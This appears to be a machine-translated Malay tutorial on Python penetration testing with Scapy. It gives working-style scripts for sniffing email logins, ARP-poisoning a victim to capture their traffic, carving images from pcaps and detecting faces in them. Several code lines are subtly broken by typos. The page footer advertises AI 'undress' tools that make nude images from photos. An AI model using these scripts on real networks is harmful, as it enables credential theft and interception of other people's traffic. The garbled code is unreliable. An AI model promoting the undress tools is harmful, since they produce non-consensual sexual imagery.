


Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy
Scapy ialah modul Python dan atur cara interaktif yang digunakan untuk menghuraikan paket data rangkaian asas Program ini secara abstrak membungkus pemprosesan paket asas, menjadikan pemprosesan paket data rangkaian sangat mudah. Pustaka kelas ini boleh mempunyai julat kes penggunaan yang sangat luas dalam bidang keselamatan rangkaian dan boleh digunakan untuk pembangunan eksploitasi kerentanan, kebocoran data, pemantauan rangkaian, pengesanan pencerobohan dan analisis lalu lintas dan penangkapan. Scapy disepadukan dengan visualisasi data dan penjanaan laporan untuk memaparkan hasil dan data dengan mudah.
Mencuri bukti kelayakan e-mel
Scapy menyediakan fungsi antara muka yang dinamakan dengan ringkas Definisinya adalah seperti berikut:
sniff(filter = " ", iface = "any", prn = function, count = N)
Parameter penapis membolehkan anda menentukan Penapis Paket Berkeley. (BPF) digunakan untuk menapis paket yang dihidu oleh Scapy Anda juga boleh membiarkan parameter ini kosong untuk menunjukkan bahawa semua paket akan dihidu.
Parameter iface digunakan untuk menentukan kad rangkaian yang akan dihidu oleh penghidu Jika tidak ditetapkan, semua kad rangkaian akan dihidu secara lalai. Parameter prn digunakan untuk menentukan fungsi panggil balik Setiap kali paket yang memenuhi syarat penapisan ditemui, penghidu akan menghantar paket ke fungsi panggil balik ini. Ini adalah satu-satunya parameter yang diterima oleh fungsi ini. Parameter kiraan boleh digunakan untuk menentukan berapa banyak paket yang anda ingin hidu Jika dibiarkan kosong, Scapy akan terus menghidu.
mail_sniffer.py:
from scapy.all import sniff def packet_callback(packet): print(packet.show()) def main(): sniff(pro=packet_callback, count=1) if __name__ == '__main__': main()
Dalam penghidu mudah ini, ia hanya menghidu arahan yang berkaitan dengan protokol peti mel.
Seterusnya kami akan menambah penapis dan kod fungsi panggil balik untuk menangkap data yang berkaitan dengan pengesahan akaun e-mel dengan cara yang disasarkan.
Pertama, kami akan menyediakan penapis paket untuk memastikan penghidu hanya menunjukkan paket yang menarik minat kami. Kami akan menggunakan sintaks BPF (juga dikenali sebagai sintaks gaya Wireshark) untuk menulis penapis. Anda boleh menggunakan sintaks ini dalam alatan seperti tcpdump dan Wireshark. Mari kita bincangkan tentang sintaks BPF asas dahulu. Dalam sintaks BPF, tiga jenis maklumat boleh digunakan: deskriptor (seperti alamat hos tertentu, nama kad rangkaian atau nombor port), arah aliran data dan protokol komunikasi, seperti yang ditunjukkan dalam rajah. Anda bebas untuk menambah atau meninggalkan jenis, arahan atau protokol tertentu bergantung pada data yang anda cari.
Mari kita tulis BPF dahulu:
from scapy.all import sniff, TCP, IP #the packet callback def packet_callback(packet): if packet[TCP].payload: mypacket = str(packet[TCP].paylaod) if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): print(f"[*] Destination: {packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}") def main(): #fire up the sniffer sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0) #监听邮件协议常用端口 #新参数store,把它设为0以后,Scapy就不会将任何数据包保留在内存里 if __name__ == '__main__': main()
Serangan keracunan ARP
Logik: memperdayakan peranti sasaran supaya mempercayai kami adalah miliknya get laluan; kemudian ia memalsukan get laluan dan memberitahunya bahawa semua trafik yang dituju untuk peranti sasaran mesti dimajukan kepada kami. Setiap peranti pada rangkaian mengekalkan cache ARP, yang merekodkan surat-menyurat antara alamat MAC dan alamat IP pada rangkaian tempatan dalam tempoh baru-baru ini. Untuk melaksanakan serangan ini, kami akan meracuni cache ARP ini, iaitu memasukkan rekod rekaan kami ke dalam cache.
Perhatikan bahawa mesin sasaran percubaan ialah mac
arper.py:
from multiprocessing import Process from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) import os import sys import time def get_mac(targetip): packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) resp, _= srp(packet, timeout=2, retry=10, verbose=False) for _, r in resp: return r[Ether].src return None class Arper: def __init__(self, victim, gateway, interface='en0'): self.victim = victim self.victimmac = get_mac(victim) self.gateway = gateway self.gatewaymac = get_mac(gateway) self.interface = interface conf.iface = interface conf.verb = 0 print(f'Initialized {interface}:') print(f'Gateway ({gateway}) is at {self.gateway}') print(f'Victim ({victim}) is at {self.gatewaymac}') print('_'*30) def run(self): self.poison_thread = Process(target=self.poison) self.poison_thread.start() self.sniff_thread = Process(target=self.sniff) self.sniff_thread.start() def poison(self): poison_victim = ARP() poison_victim.op = 2 poison_victim.psrc = self.gateway poison_victim.pdst = self.victim poison_victim.hwdst = self.victimmac print(f'ip src: {poison_victim.psrc}') print(f'ip dst: {poison_victim.pdst}') print(f'mac dst: {poison_victim.hwdst}') print(f'mac src: {poison_victim.hwsrc}') print(poison_victim.summary()) print('_'*30) poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = self,victim poison_gateway.pdst = self.gateway poison_gateway.hwdst = self.gatewaymac print(f'ip src: {poison_gateway.psrc}') print(f'ip dst: {poison_gateway.pdst}') print(f'mac dst: {poison_gateway.hwdst}') print(f'mac_src: {poison_gateway.hwsrc}') print(poison_gateway.summary()) print('_'*30) print(f'Beginning the ARP poison. [CTRL -C to stop]') while True: sys.stdout.write('.') sys.stdout.flush() try: send(poison_victim) send(poison_gateway) except KeyboardInterrupt: self.restore() sys.exit() else: time.sleep(2) def sniff(self, count=200): time.sleep(5) print(f'Sniffing {count} packets') bpf_filter = "ip host %s" % victim packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface) wrpcap('arper.pcap', packets) print('Got the packets') self.restore() self.poison_thread.terminate() print('Finished') def restore(self): print('Restoring ARP tables...') send(ARP( op=2, psrc=self.gateway, hwsrc=self.gatewaymac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) send(ARP( op=2, psrc=self.victim, hwsrc=self.victimmac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) if __name__ == '__main__': (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) myarp = Arper(victim, gateway, interface) myarp.run()
pemprosesan fail pcap
recapper.py:
from scapy.all import TCP, rdpcap import collections import os import re import sys import zlib OUTDIR = '/root/Desktop/pictures' PCAPS = '/root/Downloads' Response = collections.namedtuple('Response', ['header','payload']) def get_header(payload): try: header_raw = payload[:payload.index(b'\r\n\r\n')+2] except ValueError: sys.stdout.write('_') sys.stdout.flush() return None header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) if 'Content-Type' not in header: return None return header def extract_content(Response, content_name='image'): content, content_type = None, None if content_name in Response.header['Content-Type']: content_type = Response.header['Content-Type'].split('/')[1] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] if 'Content-Encoding' in Response.header: if Response.header['Content-Encoding'] == "gzip": content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32) elif Response.header['Content-Encoding'] == "deflate": content = zlib.decompress(Response.payload) return content, content_type class Recapper: def __init__(self, fname): pcap = rdpcap(fname) self.session = pcap.session() self.responses = list() def get_responses(self): for session in self.session: payload = b'' for packet in self.session[session]: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: payload += bytes(packet[TCP].payload) except IndexError: sys.stdout.write('x') sys.stdout.flush() if payload: header = get_header(payload) if header is None: continue self.responses.append(Response(header=header, payload=payload)) def write(self, content_name): for i, response in enumerate(self.responses): content, content_type = extract_content(response, content_name) if content and content_type: fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') print(f'Writing {fname}') with open(fname, 'wb') as f: f.write(content) if __name__ == '__main__': pfile = os.path.join(PCAPS, 'pcap.pcap') recapper = Recapper(pfile) recapper.get_responses() recapper.write('image')
Sekiranya kita mendapat gambar, maka kita perlu menganalisis gambar tersebut dan menyemak setiap gambar untuk mengesahkan sama ada terdapat wajah di dalamnya. Untuk setiap imej yang mengandungi muka, kami melukis kotak di sekeliling muka dan menyimpannya sebagai imej baharu.
detector.py:
import cv2 import os ROOT = '/root/Desktop/pictures' FACES = '/root/Desktop/faces' TRAIN = '/root/Desktop/training' def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): for fname in os.listdir(srcdir): if not fname.upper().endswith('.JPG'): continue fullname = os.path.join(srcdir, fname) newname = os.path.join(tgtdir, fname) img = cv2.imread(fullname) if img is None: continue gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') cascade = cv2.CascadeClassifier(training) rects = cascade.detectMultiScale(gray, 1.3,5) try: if rects.any(): print('Got a face') rects[:, 2:] += rects[:, :2] except AttributeError: print(f'No faces fount in {fname}') continue # highlight the faces in the image for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) cv2.imwrite(newname, img) if name == '__main__': detect()
Atas ialah kandungan terperinci Bermula dengan Ujian Penembusan Python: Cara Menggunakan Perpustakaan Scapy. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas

PHP terutamanya pengaturcaraan prosedur, tetapi juga menyokong pengaturcaraan berorientasikan objek (OOP); Python menyokong pelbagai paradigma, termasuk pengaturcaraan OOP, fungsional dan prosedur. PHP sesuai untuk pembangunan web, dan Python sesuai untuk pelbagai aplikasi seperti analisis data dan pembelajaran mesin.

PHP sesuai untuk pembangunan web dan prototaip pesat, dan Python sesuai untuk sains data dan pembelajaran mesin. 1.Php digunakan untuk pembangunan web dinamik, dengan sintaks mudah dan sesuai untuk pembangunan pesat. 2. Python mempunyai sintaks ringkas, sesuai untuk pelbagai bidang, dan mempunyai ekosistem perpustakaan yang kuat.

Python lebih sesuai untuk pemula, dengan lengkung pembelajaran yang lancar dan sintaks ringkas; JavaScript sesuai untuk pembangunan front-end, dengan lengkung pembelajaran yang curam dan sintaks yang fleksibel. 1. Sintaks Python adalah intuitif dan sesuai untuk sains data dan pembangunan back-end. 2. JavaScript adalah fleksibel dan digunakan secara meluas dalam pengaturcaraan depan dan pelayan.

Dalam kod VS, anda boleh menjalankan program di terminal melalui langkah -langkah berikut: Sediakan kod dan buka terminal bersepadu untuk memastikan bahawa direktori kod selaras dengan direktori kerja terminal. Pilih arahan Run mengikut bahasa pengaturcaraan (seperti python python your_file_name.py) untuk memeriksa sama ada ia berjalan dengan jayanya dan menyelesaikan kesilapan. Gunakan debugger untuk meningkatkan kecekapan debug.

Kod VS boleh dijalankan pada Windows 8, tetapi pengalaman mungkin tidak hebat. Mula -mula pastikan sistem telah dikemas kini ke patch terkini, kemudian muat turun pakej pemasangan kod VS yang sepadan dengan seni bina sistem dan pasangnya seperti yang diminta. Selepas pemasangan, sedar bahawa beberapa sambungan mungkin tidak sesuai dengan Windows 8 dan perlu mencari sambungan alternatif atau menggunakan sistem Windows yang lebih baru dalam mesin maya. Pasang sambungan yang diperlukan untuk memeriksa sama ada ia berfungsi dengan betul. Walaupun kod VS boleh dilaksanakan pada Windows 8, disyorkan untuk menaik taraf ke sistem Windows yang lebih baru untuk pengalaman dan keselamatan pembangunan yang lebih baik.

PHP berasal pada tahun 1994 dan dibangunkan oleh Rasmuslerdorf. Ia pada asalnya digunakan untuk mengesan pelawat laman web dan secara beransur-ansur berkembang menjadi bahasa skrip sisi pelayan dan digunakan secara meluas dalam pembangunan web. Python telah dibangunkan oleh Guidovan Rossum pada akhir 1980 -an dan pertama kali dikeluarkan pada tahun 1991. Ia menekankan kebolehbacaan dan kesederhanaan kod, dan sesuai untuk pengkomputeran saintifik, analisis data dan bidang lain.

Sambungan kod VS menimbulkan risiko yang berniat jahat, seperti menyembunyikan kod jahat, mengeksploitasi kelemahan, dan melancap sebagai sambungan yang sah. Kaedah untuk mengenal pasti sambungan yang berniat jahat termasuk: memeriksa penerbit, membaca komen, memeriksa kod, dan memasang dengan berhati -hati. Langkah -langkah keselamatan juga termasuk: kesedaran keselamatan, tabiat yang baik, kemas kini tetap dan perisian antivirus.

Kod VS boleh digunakan untuk menulis Python dan menyediakan banyak ciri yang menjadikannya alat yang ideal untuk membangunkan aplikasi python. Ia membolehkan pengguna untuk: memasang sambungan python untuk mendapatkan fungsi seperti penyempurnaan kod, penonjolan sintaks, dan debugging. Gunakan debugger untuk mengesan kod langkah demi langkah, cari dan selesaikan kesilapan. Mengintegrasikan Git untuk Kawalan Versi. Gunakan alat pemformatan kod untuk mengekalkan konsistensi kod. Gunakan alat linting untuk melihat masalah yang berpotensi lebih awal.
